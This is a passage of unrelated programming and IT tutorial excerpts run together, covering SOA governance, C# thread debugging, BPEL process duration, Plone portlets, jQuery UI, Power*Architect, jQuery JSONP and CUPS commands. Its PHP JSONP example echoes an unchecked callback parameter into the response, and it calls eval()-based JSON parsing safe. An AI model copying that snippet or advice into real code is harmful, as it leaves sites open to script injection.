other architectural peers. A design review may involve architects or senior developers. A code review may involve senior developer or other development peers. The operational readiness review probably involves members of the operational areas to ensure that a handoff to the support teams will be successful. In order for these reviews to be successful, the policies that need to be followed for architecture, design, coding, and deployment need to be known to the project team. In the absence of documented policies that encourage the desired behavior, these reviews tend to be a show of power by the review team, where it is simply an exercise in trying to find something about the project to make the statement that they know better than the project team. Meanwhile, the project team plays a guessing game trying to determine what the review team wants to see, usually winding up wrong. In short, without documented policies, the review tends to be a lose-lose situation for all involved. The process is the part that can vary. Some organizations choose to utilize a formal review process where an hour or two of time is scheduled with the reviewing body, the team prepares a formal presentation, and the review takes place. However, it doesn't need to be this heavyweight. Any of these reviews could also be done in a more informal manner, with a single meeting between a recognized authority for the review being done and the project architect or technical lead. If there is a formal technical hierarchy in the organization, the process may simply be part of the normal conversation that a project architect has with their architecture manager on a regular basis. Finally, an organization can even choose to have no review process, and simply trust that the decision makers on the project have awareness of the policies that must be followed. So how does SOA change the current governance model for projects? Presuming your existing governance model is working, the only thing that SOA introduces is additional policies. If your existing governance model isn't working, consider making a change. You now have a project that is building a new artifact, the service. While we discussed the importance of involving potential consumers in the definition of the service interface, the enterprise also has a role. Policies that are normally enforced by an external review board are typically associated with ensuring consistency across projects. When building services, the areas for consistency are: The technologies used for the service implementation The technologies used for communication between the consumer and the provider The representation of the information that is transferred between the consumers and the provider Service Implementation Technologies The first area that an enterprise may strive for consistency is in the technologies used to build services, also known as service platform technologies. There's a good chance that an organization may already have some standardization in this area, such as a single Java EE application server. Even if they do, there is still room for standardization. At a minimum, the organization will need a general purpose application server and an associated development framework, such as a Java EE application server or Windows Server and the Microsoft .NET framework. Both of these platforms provide libraries for many different types of service communication technologies, as well as a robust library of open-source frameworks either as alternative or as extensions for other purposes. Depending on your organization, you may have one or many of these platforms. A general principle that organizations try to use is to not have two tools for the same job. That being said, if an organization has a federated IT department, whether due to past acquisitions, geographic needs, or other reasons, each of these separate IT groups may have their own standards. In addition to the general purpose application server, another common service platform is the automated process platform, frequently associated with the use of BPEL technologies. This is a new breed of development platform tailored towards the orchestration of other services. Typically, it involves a graphical modeler, providing a drag-and-drop metaphor for connecting services in an orchestrated sequence, such as shown in the following figure: Depending on the product chosen, it may include some out-of-the-box adapters for doing common activities, such as retrieving records from a relational database, publishing messages to an enterprise messaging systems, or sending an email message. The recommended approach for determining the appropriate number of service platforms is to first determine the service types that an organization may need to provide. A service type is a class of service with a specific set of capabilities that may lend itself to specific technologies. Common types for which you may consider having specific platforms include: Composite services Automated (Orchestrated) processes Integration services Presentation services Management services Information services Content subscription services General business services Composite services are, as the name implies, services that are built from other services. This typically involves combining the output of several services and combining it to be delivered to a consumer through a single service. Automated processes, as was discussed earlier, are about the orchestration of a collection of services to perform a higher level function. Frequently, composite services can be thought of as a subset of the overall space of automated processes. Integration services are services that are geared towards communication with third-party systems, such as SAP and Oracle. These are frequently associated with Enterprise Application Integration, or EAI, technologies. While EAI, as a category, has lost favor, there is still plenty of need for integration technologies in communicating with these complex application platforms. Presentation services are services that provide user interface functionality, whether simply content in a presentation-friendly format, or fully featured presentation components suitable for composition in a portal context. Management services are services that are geared towards the management of IT systems, typically leveraging technologies like SNMP (Simple Network Management Protocol) and JMX (Java Management Extensions) for communication. Information services are services that are intended for data access and manipulation. These are typically marketed as Data Service Platforms or Enterprise Information Integration products. Content subscription services, such as news feeds, are intended to provide content to consumers on a subscription basis using technologies such as RSS (Really Simple Syndication) and Atom. General business services is the final service type, and is intended to be the catch-all for other services that don't cleanly fit into any of the previous categories. These would normally be implemented using a general purpose application server platform.

We can use the BackgroundWorker component and then the Thread class to create new threads independent of the main application thread. The applications can respond to UI events, while the processing continues, and take full advantage of multiple cores, and can thus run faster. However, we are used to debugging applications that run in just one thread (the main thread), and there are many changes in the debugging process that generate great confusion when following the classic procedures running many concurrent threads. How can we successfully debug applications that are running many concurrent threads? Time for action – Understanding the difficulty in debugging concurrent threads Your cellular phone rings! The FBI agents have detected a problem with an encryption engine. When the application receives the same messages many times during a certain period, the encryption process generates exactly the same results, as shown in the following image: Thus, hackers could easily break the code once they discover this important bug. They ask for your help. Of course, you want to cooperate because you do not want the FBI agents to get angry with you. However, you need to debug the multithreaded encryption engine, and you have never done that! Let's create a solution for this problem! First, we are going to try to debug the multithreaded application the same way we do with a single-threaded application to understand the new problems we might face: Open the project, SMSEncryption. Define a breakpoint in the line int liThreadNumber = (int)poThreadParameter; in the ThreadEncryptProcedure procedure code. Press F5 or select Debug | Start Debugging in the main menu. Enter or copy and paste a long text (with more than 5,000 lines) in the Textbox labeled Original SMS Messages and click on the Run in a thread button. The line with the breakpoint defined is shown highlighted as the next statement that will be executed. Press F10 or select, Debug | Step Over in the main menu two or three times (depending on the number of cores you have in the computer). As you can see, the next statement that gets executed is the same even when you try to go on with the next one. It seems that the statement is not being executed. However, inspecting the value of poThreadParameter (the parameter passed to the ThreadEncryptProcedure procedure) shows that it changes each time you step over the statement, as shown in the following image: Stop the application and repeat the steps 1 to 5 to make sure you are not crazy because of parallelism, multithreading, and the FBI agents! What just happened? You are getting nervous about the debugging process! Do not worry. We will learn how to debug your encryption engine while the FBI agents kindly prepare a cup of fresh cappuccino for you. The debugger executed each new Thread class instance call to the Start method, with this line: prloThreadList[liThreadNumber].Start(liThreadNumber); Then, it entered in the ThreadEncryptProcedure method (we have used the same method for every created encryption thread) with different values for the poThreadParameter parameter. Therefore, you stayed in the same statement as many times as the threads were created (equivalent to the number of cores available in the computer) in the following line: int liThreadNumber = (int)poThreadParameter; As we can see, debugging this way is very confusing, because the IDE switches from one thread to another, and you loose control over the statements that are going to be executed next. In a debugging process, you need to know in which part of the application you are. As we tested our first attempt to debug a multithreaded application, we tried the same technique as with single-threaded applications. There are new subjects to learn and new techniques to use. Debugging concurrent threads When we need to inspect values, execute a procedure step-by-step, and find solutions to problems related to some specific code, the best way to achieve that with a multithreaded application is to work with it as a single-threaded application. But, how can we do that? It is very simple. We must run one thread at a time and freeze the other concurrent threads while we are debugging the thread in which we are interested and on which we are focusing. When we debug single-threaded applications, we are aware of the method in which we are positioned and its context. In multithreaded applications, we must also be aware of the thread in which we are positioned. If we do not know in which thread we are executing statements, we will be completely confused in just a few seconds, as happened in our previous activity. We must tailor our multithreaded applications to simplify the debugging process. If we do not do this, the debugging process will be a nightmare. Indeed, we do not want that to happen! Time for action – Finding the threads You wonder where the threads are. How can you guess in which thread you are working while executing the application step-by-step? You are an excellent C# programmer, but multithreaded debugging is very confusing. You do not want the FBI agents to realize that you are in trouble. However, you must hurry up, because they have a great training in detecting nervous people in the course of their usual interrogations. Now, we are going to use the IDE features to help us find the threads in a multithreaded application: Using the same project that we used in the previous example, with the same breakpoint defined, press F5 or select Debug | Start Debugging in the main menu. Enter or copy and paste a long text (with more than 5,000 lines) in the Textbox labeled Original SMS Messages and click on the Run in a thread button. The line with the breakpoint defined is shown highlighted as the next statement that will be executed. Select Debug | Windows | Threads in the main menu or press Ctrl + Alt + H. The Threads window will be shown, displaying all the threads created by the application process, as shown in the following image: The yellow arrow in the left of the thread list points out the current thread—the thread for which the IDE is showing the current statement. Press F10 or select Debug | Step Over in the main menu. As you can see, the next statement is the same again, but the current thread pointed out in the thread list changes, as shown in the following image: Go on running the application step-by-step and watch how the current thread changes. Observe the Threads window throughout your debugging process. What just happened? You found the threads in the debugging process. Now, you believe you will be able to make the necessary changes to the application if you learn a few debugging techniques quickly. The Threads window displays the list of threads created by the application process. Many of them are created automatically by the C# runtime. The others are created by the Thread class instances and the BackgroundWorker component we have in the application. Using the Threads window, we can easily determine in which thread we are executing when debugging a multithreaded application. It is indeed very helpful. Remember that each thread has its own stack.  

Short and Long-Running Processes As a process moves from activity to activity, it consumes time, and each activity adds to the overall duration. But different sorts of activities have different durations, and it's not uncommon to observe a ten-step process that outpaces, say, a five-step one. It depends, of course, on what those activities are doing. In SOA, process cycle times range from one second or less to one or more years! The latter sort need not have a large number of activities. The pyramids might have been built rock-by-rock over several decades, but protracted SOA processes typically span only a few dozen tasks, a handful of which consume almost the entire interval. As we discuss in this article, most of that time is spent waiting. The disputes process often requires several months to complete, because at various times it sits idle waiting for information from the customer, the merchant, or the back office. Business processes crawl along at human speed, it often makes sense to let SOA manage the end-to-end flow. It's not easy to build an SOA process engine that can simultaneously blaze through a sub-second process but keep on top of a one that hasn't moved in weeks. On the other hand, when a long-running process rouses, we expect the engine to race very quickly to the next milestone. The central argument of this article is that both long-running and short-running processes run in very quick bursts, but whereas a short-running process runs in a single burst, a long-running process might have several bursts, separated by long waits. To support long-running processes, the process engine needs a strategy to keep state. In this article, we examine the fundamental differences between long-running and short-running processes. We discuss how to model state, and demonstrate how to build a long-running process as a combination of several short-running processes tied together by state. We also show how to compile short-running BPEL processes to improve the execution speed of a burst. Process Duration—the Long and Short of It SOA processes have the following types of activities: Tasks to extract, manipulate, or transform process data Scripts or inline code snippets Calls to systems and services, both synchronous and asynchronous Events, including timed events, callbacks, and unsolicited notifications from systems The first three sorts of activities execute quickly, the first two in the order of milliseconds, the third often sub-second but seldom more than a few seconds (in the case of a synchronous call to a slow system). These activities are active: as the process navigates through them, it actively performs work, and in doing so ties up the process engine. Event times are generally much longer and more variable. Events come from other systems, so (with the exception of timed events) the process cannot control how quickly they arrive. The process passively waits for events, in effect going to sleep until they come. An event can occur at the beginning of a process—indeed, every SOA process starts with an event—or in the middle. An event in the middle is called an intermediate event. The segment of a process between two events is called a burst. In the following figure, events are drawn as circles, activities as boxes, and bursts as bounding boxes that contain activities. Process (a), for example, starts with an event and is followed by two activities—Set Data and Sync Call—which together form a burst. Process (b) starts with an event, continues with a burst (consisting of the activities Set Data and Call System Async), proceeds to an intermediate event (Fast Response), and concludes with a burst containing the activity Sync Call. Process (c) has two intermediate events and three bursts, and (d) has a single intermediate event and two bursts. Processes are classified by duration as follows: Short-running: The process runs comparatively quickly, for not more than a few seconds. Most short-running processes run in single burst (as in process (a) in the figure), but some have intermediate events with fast arrival times—as in (b), where the intermediate event, a response to an asynchronous system call, arrives in about two seconds—and thus run in multiple bursts. TIBCO's BusinessWorks and the BPEL compiler described later in the article are optimized to run both single-burst and multiple-burst short-running processes. BEA's Weblogic Integration can run single-burst, short-running processes with limited overhead, but, as discussed further next, treats cases like (b) as long-running. Long-running: The process has multiple bursts, and the waiting times of its intermediate events are longer than the process engine itself is expected to run before its next restart! In process (d), for example, the engine is restarted for maintenance while the process waits two days for a human action. The process survives the restart because its state is persisted. At the end of its first burst (that is, after the Assign Work step), the engine writes the state to a database, recording the fact that the process is now waiting on an event for a human action. When the engine comes back up, it fetches the state from the database to remember where it left off. Most BPEL processes are long-running. In Weblogic Integration, stateful processes can run for arbitrarily long durations. Mid-running: The process has multiple bursts, but the waiting times of its intermediate events last no more than a few minutes, and do not need to be persisted. Stakeholders accept the risk that if the process engine goes down, in-flight processes are lost. Chordiant's Foundation Server uses mid-running processes to orchestrate the interaction between agent and customer when the customer dials into a call center. The call is modeled as a conversation, somewhat like a sequence of questions and answers. A burst, in this design, processes the previous answer (for example, the Process Answer activity in (c)) and prepares the next question (Prepare Question). Intermediate events (Get Answer) wait for the customer to answer. State is held in memory

(For more resources on Plone, see here.) Plone makes it easy to create new types of portlets that include custom programming logic for your site. There are several ways to create custom portlets, but the simplest way to get started is to use the add-on product collective.portlet.tal which provides a new type of portlet, called a TAL Portlet. This portlet allows you to write simple bits of code using Zope's TAL templating language. Let's walk through a quick example of building a custom TAL portlet, which will show a randomly-selected news item from your site. Installing collective.portlet.tal Before you can add a TAL portlet, you must download the product from Plone.org/products and install the add-on product collective.portlet.tal on your site. The best way to do this is to modify your buildout.cfg file. Add collective.portlet.tal to the eggs and zcml sections of your buildout. Here's a code snippet with the changes made to it: [buildout] ... eggs = ... collective.portlet.tal [instance] recipe = plone.recipe.zope2instance ... zcml = collective.portlet.tal Once you've made these changes, re-run buildout by issuing the following command: $ ./bin/buildout Once you've added the product to your buildout, visit Site Setup and choose Add/Remove Products, to install collective.portlet.tal in your site. Finally, add a few news items to your site so that we have something for our new TAL portlet to find. Adding a simple TAL portlet With the collective.portlet.tal product in place, the following can happen: Navigate to your Plone site. Choose Manage Portlets in the right column. From the Add portlet... drop-down list, choose TAL Portlet. You'll see an empty text box in which you can enter a title. We will specify Featured News Item as our title. We'll soon see the code needed to feature a random one of our site's published news items. In addition to the Title text box, you'll also see an HTML text area titled TAL code. Conveniently, this comes pre-populated with some boilerplate HTML and TAL code. Skim this, so that you get a feel for how this looks and what the common HTML structure is like, for a portlet in Plone. As an immediate experiment, we will find the following snippet of code: <dd class="portletItem odd"> Body text</dd> We will modify this, slightly, to: <dd class="portletItem odd"> Is this thing on?</dd> Click on Save and navigate through the site, and you should see your first TAL portlet in action. Of course, there's nothing in this example that couldn't be accomplished with a static text portlet. So let's navigate back to the Featured News Item portlet and make it a bit more interesting and dynamic. Update the code in your TAL Portlet to include the following: <dl class="portlet portlet${portlet_type_name}" tal_define="newsitems python:context.portal_catalog (portal_type='News Item', review_state='published');" tal_condition="newsitems"> <dt class="portletHeader"> <span class="portletTopLeft"></span> <span> Featured News Item </span> <span class="portletTopRight"></span> </dt> <dd class="portletItem odd" tal_define="random_newsitem python:random.choice(newsitems)"> <a tal_content="random_newsitem/Title" href="[replaced by random news item link]" title="[replaced by random news item title]" tal_attributes="href random_newsitem/getURL; title random_newsitem/Title">[replaced by random news item title]</a> </dd> <dd class="portletFooter"> <span class="portletBotomLeft"></span> <span> <a href="http://example.com/news">More news...</a> </span> <span class="portletBottomRight"></span> </dd> </dl> Now, let's go into more detail on a few of these sections, so that you understand what's happening. If at any point you need more context, try reading the excellent ZPT reference manual at http://plone.org/documentation/tutorial/zpt.

Accordion animation You may have noticed the default slide animation built into the accordion. Apart from this, there are two other built-in animations that we can easily make use of. We can also switch off animations entirely by supplying false as the value of the animated property, although this doesn't look too good! The other values we can supply are bounceslide and easeslide. However, these aren't actually unique animations as such. These are different easing styles which don't change the animation itself but instead, alter the way it runs. You should note at this stage that additional jQuery plugins are required for these easing methods. For example, the bounceslide easing method causes the opening drawer to appear to bounce up and down slightly as it reaches the end of the animation. On the other hand, easeslide makes the animation begin slowly and then builds up to its normal speed. Let's take a moment to look at these different easing methods now. Change accordion11.html so that it appears as follows: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="en"> <head> <link rel="stylesheet" type="text/css" href="styles/accordionTheme2.css"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>jQuery UI Accordion Widget Example 12</title> </head> <body> <div id="myAccordion"> <span class="corner topLeft"></span><span class="corner topRight"></span><span class="corner bottomLeft"></span> <span class="corner bottomRight"></span> <div><a href="#">Header 1</a><div>Wow, look at all this content that can be shown or hidden with a simple click!</div></div> <div><a href="#">Header 2</a><div>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean sollicitudin. Sed interdum pulvinar justo. Nam iaculis volutpat ligula. Integer vitae felis quis diam laoreet ullamcorper. Etiam tincidunt est vitae est. Ut posuere, mauris at sodales rutrum, turpis tellus fermentum metus, ut bibendum velit enim eu lectus. Suspendisse potenti.</div> </div> <div><a href="#">Header 3</a><div>Donec at dolor ac metus pharetra aliquam. Suspendisse purus. Fusce tempor ultrices libero. Sed quis nunc. Pellentesque tincidunt viverra felis. Integer elit mauris, egestas ultricies, gravida vitae, feugiat a, tellus. </div> </div> </div> <script type="text/javascript" src="jqueryui1.6rc2/jquery-1.2.6.js"></script> <script type="text/javascript" src="jqueryui1.6rc2/ui/ui.core.js"></script> <script type="text/javascript" src="jqueryui1.6rc2/jquery.easing.1.3.js"></script> <script type="text/javascript" src="jqueryui1.6rc2/jquery.easing.compatibility.js"></script> <script type="text/javascript" src="jqueryui1.6rc2/ui/ui.accordion.js"></script> <script type="text/javascript"> //function to execute when doc ready $(function() { //set custom easing var accOpts = { animated: "bounceslide" } //turn specified element into an accordion $("#myAccordion").accordion(accOpts); }); </script> </body> </html> Save this file as accordion12.html. We've used a couple of new script files in the source code. The jquery.easing.1.3.js file is the latest version of the easing plugin, and the jquery.easing.compatibility.js plugin which enables the latest version of the easing file to work without any further modifications. The easing type names were renamed in version 1.2 of the easing plugin. Both of these files can be found on the jQuery site. The built-in easing effects, based on a series of equations created by Robert Penner in 2006, are very easy to use and create a great effect which can help build individuality into accordion implementations Plugins There are many jQuery plugins available. These are often developed by the open-source community instead of the library's authors and can be used with jQuery and jQuery UI. A good place to find plugins is on the jQuery site itself at http://plugins.jquery.com/. Some of these plugins, such as the easing plugin, work with the library components, while other plugins, such as the compatibility plugin, assist other plugins. Accordion events The accordion defines the custom change event which is fired after a drawer on the accordion opens or closes. To react to this event, we can use the change configuration property to specify a function to be executed every time the event occurs. In a new file in your text editor, add the following code: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="en"> <head> <link rel="stylesheet" type="text/css" href="styles/accordionTheme.css"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>jQuery UI Accordion Widget Example 13</title> </head> <body> <div id="myAccordion"> <span class="corner topLeft"></span><span class="corner topRight"></span><span class="corner bottomLeft"></span> <span class="corner bottomRight"></span> <div><a href="#">Header 1</a><div id="panel1">Wow, look at all this content that can be shown or hidden with a simple click!</div> </div> <div><a href="#">Header 2</a><div id="panel2">Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean sollicitudin. Sed interdum pulvinar justo. Nam iaculis volutpat ligula. Integer vitae felis quis diam laoreet ullamcorper. Etiam tincidunt est vitae est. Ut posuere, mauris at sodales rutrum, turpis tellus fermentum metus, ut bibendum velit enim eu lectus. Suspendisse potenti.</div></div> <div><a href="#">Header 3</a><div id="panel3">Donec at dolor ac metus pharetra aliquam. Suspendisse purus. Fusce tempor ultrices libero. Sed quis nunc. Pellentesque tincidunt viverra felis. Integer elit mauris, egestas ultricies, gravida vitae, feugiat a, tellus.</div> </div> </div> <script type="text/javascript" src="jqueryui1.6rc2/jquery-1.2.6.js"></script> <script type="text/javascript" src="jqueryui1.6rc2/ui/ui.core.js"></script> <script type="text/javascript" src="jqueryui1.6rc2/ui/ui.accordion.js"></script> <script type="text/javascript"> //function to execute when doc ready $(function() { //define config object var accOpts = { //add change event callback change: function(e, ui) { alert($(ui.newContent).attr("id") + " was opened, " + $(ui.oldContent).attr("id") + " was closed"); } }; $("#myAccordion").accordion(accOpts); }); </script> </body> </html> Save this as accordion13.html. In this example, we use the change configuration property to specify an anonymous callback function which is executed every time the event is triggered. This function will automatically receive two objects as arguments. The first object is the event object which contains information about the event. The second object is an object containing useful information about the accordion widget, such as the content drawer that just opened or closed. In the mark-up for the accordion, we have given each of the content drawer <div> elements an id attribute which can be used in the alert generated by the change callback. We can use the ui.newContent and ui.oldContent properties to obtain the relevant content drawer and display its id in the alert. The accordion widget also defines the accordion change event which is fired after a drawer on the accordion opens or closes. To react to this event, we can use the standard jQuery bind() method to specify a callback function, just like with the tabs widget.

Power*Architect—from SQL Power—is a free software data modeling tool, which you can download from its website www.sqlpower.ca and use it under GPLv3 license. Reverse Engineering To reverse engineer is to create the data model of an existing database. To reverse engineer an existing database in Power*Architect, we need to connect to the database. Figure 1 shows the Power*Architect's connection window where we define (create) our connection to the MySQL sales database that we'd like to reengineer. Figure 1: Creating a database connection By adding the conn_packt connection, the sales database objects are now available in Power*Architect. Figure 2: Adding a database connection By expanding the sales database, you can see all the objects that you need to create its data model. Figure 3: Database objects You create the ER diagram of the sales data model by dragging the sales object into the canvas (called playpen in Power*Architect) Note that the objects in the model (those in the diagram) are now in the PlayPen Database. Figure 4: Database objects in the PlayPen Now that you have created the data model, you might want to save it. Figure 5: Saving the data model (project) Figure 6: Saving sales.architect data model (project) You have completed the sales database reverse-engineering. Updating the Data Model Let's now add two new tables (hardware and software) and relate them to the product table. You add a table by clicking the New Table tool and dropping your cursor on the white space of the canvas. Figure 7: New Table tool Type in the name of the table, and then click OK. Figure 8: Adding hardware table We now add a column to the hardware table by right-clicking the table and selecting New Column. Figure 9: New Column menu selection Type in the name of the column (model), select VARCHAR data type (and its length), then click OK. Figure 10: The model column After adding the two tables and their columns, our ER diagram will look like in Figure 11. Figure 11: The hardware and software tables Our last update is relating the hardware and software tables to the product table. Select the New Identifying Relationship tool; click it to the product and then the software. Figure 12: New Identifying Relationship tool The software table is now related to the product table. Note that the product's primary key is migrated to the software table as a primary key. Figure 13: software and product tables are related

AJAX and events Suppose we wanted to allow each dictionary term name to control the display of the definition that follows; clicking on the term name would show or hide the associated definition. With the techniques we have seen so far, this should be pretty straightforward: $(document).ready(function() { $('.term').click(function() { $(this).siblings('.definition').slideToggle(); });}); When a term is clicked, this code finds siblings of the element that have a class of definition, and slides them up or down as appropriate. All seems in order, but a click does nothing with this code. Unfortunately, the terms have not yet been added to the document when we attach the click handlers. Even if we managed to attach click handlers to these items, once we clicked on a different letter the handlers would no longer be attached. This is a common problem with areas of a page populated by AJAX. A popular solution is to rebind handlers each time the page area is refreshed. This can be cumbersome, however, as the event binding code needs to be called each time anything causes the DOM structure of the page to change. We can implement event delegation, actually binding the event to an ancestor element that never changes. In this case, we'll attach the click handler to the document using .live() and catch our clicks that way: $(document).ready(function() { $('.term').live('click', function() { $(this).siblings('.definition').slideToggle(); });}); The .live() method tells the browser to observe all clicks anywhere on the page. If (and only if) the clicked element matches the .term selector, then the handler is executed. Now the toggling behavior will take place on any term, even if it is added by a later AJAX transaction. Security limitations For all its utility in crafting dynamic web applications, XMLHttpRequest (the underlying browser technology behind jQuery's AJAX implementation) is subject to strict boundaries. To prevent various cross-site scripting attacks, it is not generally possible to request a document from a server other than the one that hosts the original page. This is generally a positive situation. For example, some cite the implementation of JSON parsing by using eval() as insecure. If malicious code is present in the data file, it could be run by the eval() call. However, since the data file must reside on the same server as the web page itself, the ability to inject code in the data file is largely equivalent to the ability to inject code in the page directly. This means that, for the case of loading trusted JSON files, eval() is not a significant security concern. There are many cases, though, in which it would be beneficial to load data from a third-party source. There are several ways to work around the security limitations and allow this to happen. One method is to rely on the server to load the remote data, and then provide it when requested by the client. This is a very powerful approach as the server can perform pre-processing on the data as needed. For example, we could load XML files containing RSS news feeds from several sources, aggregate them into a single feed on the server, and publish this new file for the client when it is requested. To load data from a remote location without server involvement, we have to get a bit sneakier. A popular approach for the case of loading foreign JavaScript files is injecting <script> tags on demand. Since jQuery can help us insert new DOM elements, it is simple to do this: $(document.createElement('script')) .attr('src', 'http://example.com/example.js') .appendTo('head'); In fact, the $.getScript() method will automatically adapt to this technique if it detects a remote host in its URL argument, so even this is handled for us. The browser will execute the loaded script, but there is no mechanism to retrieve results from the script. For this reason, the technique requires cooperation from the remote host. The loaded script must take some action, such as setting a global variable that has an effect on the local environment. Services that publish scripts that are executable in this way will also provide an API with which to interact with the remote script. Another option is to use the <iframe> HTML tag to load remote data. This element allows any URL to be used as the source for its data fetching, even if it does not match the host page's server. The data can be loaded and easily displayed on the current page. Manipulating the data, however, typically requires the same cooperation needed for the <script> tag approach; scripts inside the <iframe> need to explicitly provide the data to objects in the parent document. Using JSONP for remote data The idea of using <script> tags to fetch JavaScript files from a remote source can be adapted to pull in JSON files from another server as well. To do this, we need to slightly modify the JSON file on the server, however. There are several mechanisms for doing this, one of which is directly supported by jQuery: JSON with Padding, or JSONP. The JSONP file format consists of a standard JSON file that has been wrapped in parentheses and prepended with an arbitrary text string. This string, the "padding", is determined by the client requesting the data. Because of the parentheses, the client can either cause a function to be called or a variable to be set depending on what is sent as the padding string. A PHP implementation of the JSONP technique is quite simple: <?php print($_GET['callback'] .'('. $data .')');?> Here, $data is a variable containing a string representation of a JSON file. When this script is called, the callback query string parameter is prepended to the resulting file that gets returned to the client. To demonstrate this technique, we need only slightly modify our earlier JSON example to call this remote data source instead. The $.getJSON() function makes use of a special placeholder character, ?, to achieve this. $(document).ready(function() { var url = 'http://examples.learningjquery.com/jsonp/g.php'; $('#letter-g a').click(function() { $.getJSON(url + '?callback=?', function(data) { $('#dictionary').empty(); $.each(data, function(entryIndex, entry) { var html = '<div class="entry">'; html += '<h3 class="term">' + entry['term'] + '</h3>'; html += '<div class="part">' + entry['part'] + '</div>'; html += '<div class="definition">'; html += entry['definition']; if (entry['quote']) { html += '<div class="quote">'; $.each(entry['quote'], function(lineIndex, line) { html += '<div class="quote-line">' + line + '</div>'; }); if (entry['author']) { html += '<div class="quote-author">' + entry['author'] + '</div>'; } html += '</div>'; } html += '</div>'; html += '</div>'; $('#dictionary').append(html); }); }); return false; });}); We normally would not be allowed to fetch JSON from a remote server (examples.learningjquery.com in this case). However, since this file is set up to provide its data in the JSONP format, we can obtain the data by appending a query string to our URL, using ? as a placeholder for the value of the callback argument. When the request is made, jQuery replaces the ? for us, parses the result, and passes it to the success function as data just as if this were a local JSON request. Note that the same security cautions hold here as before; whatever the server decides to return to the browser will execute on the user's computer. The JSONP technique should only be used with data coming from a trusted source.

We can identify threads created using both the BackgroundWorker component and the Thread class. We can also identify the main application thread and we learned about the information shown by the Threads window. However, we must debug the encryption process to solve its problem without taking into account the other concurrent threads. How can we successfully debug the encryption engine focusing on one thread and leaving the others untouched? We can use the Threads window to control the execution of the concurrent thread at runtime without having to make changes to the code. This will affect the performance results, but it will allow us to focus on a specific part of the code as if we were working in a single-threaded application. This technique is suitable for solving problems related to a specific part of the code that runs in a thread. However, when there are problems generated by concurrency we must use other debugging tricks that we will be learning shortly. The Threads window does a great job in offering good runtime information about the running threads while offering a simple way to watch, pause, and resume multiple threads. Time for action – Leaving a thread running alone You must run the encryption procedure called by ThreadEncryptProcedure. But you want to focus on just one thread, in order to solve the problem that the FBI agents detected. Changing the code is not an option, because it will take more time than expected, and you might introduce new bugs to the encryption engine. Thus, let's freeze the threads we are not interested in! Now, we are going to leave one encryption thread running alone to focus on its code without the other threads disturbing our debugging procedure: Stay in the project, SMSEncryption. Clear all the breakpoints. Press Ctrl + Shift + F9 or select Debug | Delete AllBreakpoints in the main menu. Make sure the Threads window is visible. Define a breakpoint in the line int liThreadNumber = (int)poThreadParameter; in the ThreadEncryptProcedure procedure code. Enter or copy and paste a long text, using the same lines (with more than 30,000 lines) in the Textbox labeled Original SMS Messages, as shown in the following image: Click on the Run in a thread button. The line with the breakpoint defined in the ThreadEncryptProcedure procedure is shown highlighted as the next statement that will be executed. The current thread will be shown with a yellow arrow on the left in the Threads window. Right-click on each of the other encryption threads and select Freeze in the context menu that appears, in order to suspend them. If the current thread is Encryption #1 and there are four cores available, you will freeze the following threads—Encryption #0, Encryption #2, and Encryption #3. Right-click on the Main thread and select Freeze in the context menu that appears, in order to suspend it (we do not want the BackgroundWorker to start and interfere with our work). The only working thread that matters will be Encryption #1, as shown in the following image: Run the code step-by-step inspecting values as you do with single-threaded applications. What just happened? It is easy to debug a multi hreaded application focusing on one thread instead of trying to do it with all the threads running at the same time. We could transform a complex multi threaded application into a single-threaded application without making changes to the code. We did it at runtime using the multithreading debugging features offered by the C# IDE. We suspended the execution of the concurrent threads that would disturb our step-by-step execution. Thus, we could focus on the code being executed by just one encryption thread. Freezing and thawing threads Freezing a thread suspends its execution. However, in the debugging process, we would need to resume the thread execution. It can be done at any point of ti me by right-clicking on a suspended thread and selecting Thaw in the context menu that appears, as shown in the following image: By Freezing and Thawing threads (suspending and resuming), we can have an exhaustive control over the threads running during the debugging process. It helps a lot when we have to solve bugs related to concurrency as we can easily analyze many contexts without making changes to the code—which could generate new bugs. Nevertheless, when developing multithreaded applications, we must always test the execution with many concurrent threads running to make sure it does not have concurrency bugs. The debugging techniques allow us to isolate the code for evaluation purposes, but the final tests must use the full multithreading potential. Viewing the call stack for each running thread Each thread has its own independent stack. Using the Call Stack window, we can move through the methods that were called, as we are used to doing so in single-threaded applications. The main difference in doing this with multithreaded applications is that when the active thread changes, the Call Stack window will also show different content. Debugging a multi hreaded application using the techniques we are learning is an excellent way to understand how the different threads run and will improve our parallel programming skills. To show the call stack for the active thread, press Ctrl + Alt + C or go to Debug | Windows | Call Stack in the main menu. Make sure the Threads window is also visible to take into account the active thread when analyzing the call stack, as shown in the following image: Have a go hero – Debugging and enhancing the encryption algorithm Using the multithreaded debugging techniques we have learned so far, develop a new version of this application with the encryption problem solved. Take into account everything we have studied about freezing and thawing threads. Check the randomly generated garbage and the way it is applied to the generated encrypted string. Making some changes to it, you can have a robust encryption process that differentiates each output with the same input text. You can improve the new versions by using new randomly generated garbage to enhance the encryption algorithms. Oh no! You have to explain to the agents the changes you made to the encryption procedure, and how it works.  

The Common UNIX Printing System (CUPS) is actually a printer management tool, and thus monitoring CUPS always remains a very essential activity to to make the best use of the resources available. Monitoring CUPS will allow us to take action quickly should something go wrong. Using the lpstat Command The lpstat command displays the status of the CUPS service, printers, classes, and jobs. It supports a number of options. If the command is used without any options, it displays the job queues for the current user: $lpstatcupstest-3 kajol 8192 Tue Aug 05 13:24:43 2008cupstest-4 kajol 8192 Tue Aug 05 13:25:34 2008 To check whether the CUPS server is running, use the -r option. $lpstat -rscheduler is running$lpstat -dsystem default destination: cupsclass The above command gives information about the default destination printer or class. The output following the command shows that the default destination of the system is cupsclass. $lpstat -c cupsclass This shows the printer class and the member printers belonging to that class. If a particular class is not specified, then the output shows all classes along with their member printers. members of class cupsclass:cupsprinter1cupsprinter2$lpstat -v cupsprinter2 The command above will show the device to which cupsprinter1 is attached. If no printers are specified, then the output will list all printers along with device-uri information. device for cupsprinter2: ipp://cupsserver.cupsgroup.org/printers/cupsprinter2$lpstat -s This shows a status summary for all printers and classes on the network. The summary includes the default destination, a list of classes and their member printers, and a list of printers and their associated devices. The output is equivalent to using the -d, -c, and -v options simultaneously. system default destination: cupsclassmembers of 